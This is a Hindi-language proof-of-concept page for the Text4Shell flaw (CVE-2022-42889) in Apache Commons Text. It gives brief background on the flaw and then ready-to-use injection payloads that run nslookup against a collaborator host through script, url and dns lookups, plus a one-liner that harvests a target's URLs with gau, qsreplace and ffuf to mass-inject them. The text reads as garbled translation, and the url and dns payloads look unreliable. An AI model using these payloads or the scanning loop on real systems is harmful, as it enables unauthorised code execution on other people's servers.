
Apache commons text - CVE-2022-42889 Text4Shell प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट।
Apache commons text - CVE-2022-42889 Text4Shell प्रूफ ऑफ कॉन्सेप्ट शोषण।
CVE-2022-42889 Apache Commons Text संस्करण 1.5 से 1.9 को प्रभावित करता है। इसे Commons Text संस्करण 1.10 में पैच किया गया है।
इस कमजोरी की तुलना Log4Shell से की गई है क्योंकि यह एक ओपन-सोर्स लाइब्रेरी-स्तरीय कमजोरी है जो संभवतः उस प्रासंगिक ऑब्जेक्ट का उपयोग करने वाले विभिन्न प्रकार के सॉफ्टवेयर अनुप्रयोगों को प्रभावित कर सकती है। हालाँकि, प्रारंभिक विश्लेषण इंगित करता है कि यह एक गलत तुलना है। कमजोरी की प्रकृति का अर्थ है कि Log4Shell के विपरीत, यह दुर्लभ होगा कि कोई एप्लिकेशन Commons Text के कमजोर घटक का उपयोग अविश्वसनीय, संभावित रूप से दुर्भावनापूर्ण इनपुट को संसाधित करने के लिए करता है।
कमजोरी StringSubstitutor इंटरपोलेटर ऑब्जेक्ट में मौजूद है। एक इंटरपोलेटर StringSubstitutor.createInterpolator() विधि द्वारा बनाया जाता है और StringLookupFactory में परिभाषित स्ट्रिंग लुकअप की अनुमति देगा। इसका उपयोग एक स्ट्रिंग “${prefix:name}” पास करके किया जा सकता है जहाँ prefix उपरोक्त लुकअप है। “script”, “dns”, या “url” लुकअप का उपयोग करने से एक क्राफ्टेड स्ट्रिंग को इंटरपोलेटर ऑब्जेक्ट में पास करने पर मनमानी स्क्रिप्ट निष्पादित करने की अनुमति मिलेगी।
जबकि यह विशिष्ट कोड खंड उत्पादन अनुप्रयोगों में मौजूद होने की संभावना नहीं है, चिंता यह है कि कुछ अनुप्रयोगों में pocstring चर हमलावर-नियंत्रित हो सकता है। इस अर्थ में, कमजोरी Log4Shell को प्रतिध्वनित करती है। हालाँकि, StringSubstitutor इंटरपोलेटर Log4j में कमजोर स्ट्रिंग प्रतिस्थापन की तुलना में काफी कम व्यापक रूप से उपयोग किया जाता है और ऐसे इंटरपोलेटर की प्रकृति का अर्थ है कि कमजोर ऑब्जेक्ट तक क्राफ्टेड इनपुट पहुँचाना Log4Shell में ऐसी क्राफ्टेड स्ट्रिंग के साथ केवल इंटरैक्ट करने की तुलना में कम संभावना है।
script:javascript
पैरामीटर मान को पेलोड से बदलें:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace धन्यवाद @tomnomnom